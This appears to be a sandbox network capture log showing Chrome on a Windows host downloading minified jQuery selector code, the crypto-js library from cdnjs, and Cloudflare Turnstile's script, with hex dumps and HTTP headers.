2025-01-10 18:04:49 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-01-10 18:04:49 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-01-10 18:04:49 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-01-10 18:04:49 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-01-10 18:04:49 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-01-10 18:04:49 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49722	104.17.24.14	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:04:49 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:04:49 UTC	964	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:04:49 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 190100 Expires: Wed, 31 Dec 2025 18:04:49 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=neKC7ZrT8W87P9WtRzgLcVhKKYhrXOvfsgVoUk56%2FEeVSjdILlr%2B9%2BrrwlGJ%2BdC4CeNDf86a5taI9%2FgwCUGA02wAXIRpYh5b8dTlHKiFW2I9KV8g8I%2B00CgoriUh66y37AjXXup2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ffe977ab89941ad-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 18:04:49 UTC	405	IN	Data Raw: 37 62 65 64 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bed!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-01-10 18:04:49 UTC	1369	IN	Data Raw: 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 Data Ascii: typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Objec
2025-01-10 18:04:49 UTC	1369	IN	Data Raw: 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d Data Ascii: lone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.random
2025-01-10 18:04:49 UTC	1369	IN	Data Raw: 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d Data Ascii: "==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=
2025-01-10 18:04:49 UTC	1369	IN	Data Raw: 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b Data Ascii: {for(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[
2025-01-10 18:04:49 UTC	1369	IN	Data Raw: 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 Data Ascii: ?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<1
2025-01-10 18:04:49 UTC	1369	IN	Data Raw: 62 75 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 Data Ascii: buffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={string
2025-01-10 18:04:49 UTC	1369	IN	Data Raw: 6f 3d 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b Data Ascii: o=r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJK
2025-01-10 18:04:49 UTC	1369	IN	Data Raw: 2e 61 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 Data Ascii: .abs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var
2025-01-10 18:04:49 UTC	1369	IN	Data Raw: 41 5b 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 Data Ascii: A[39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49723	104.18.94.41	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:04:50 UTC	383	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:04:50 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:04:50 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8ffe977e288b8ca7-EWR alt-svc: h3=":443"; ma=86400
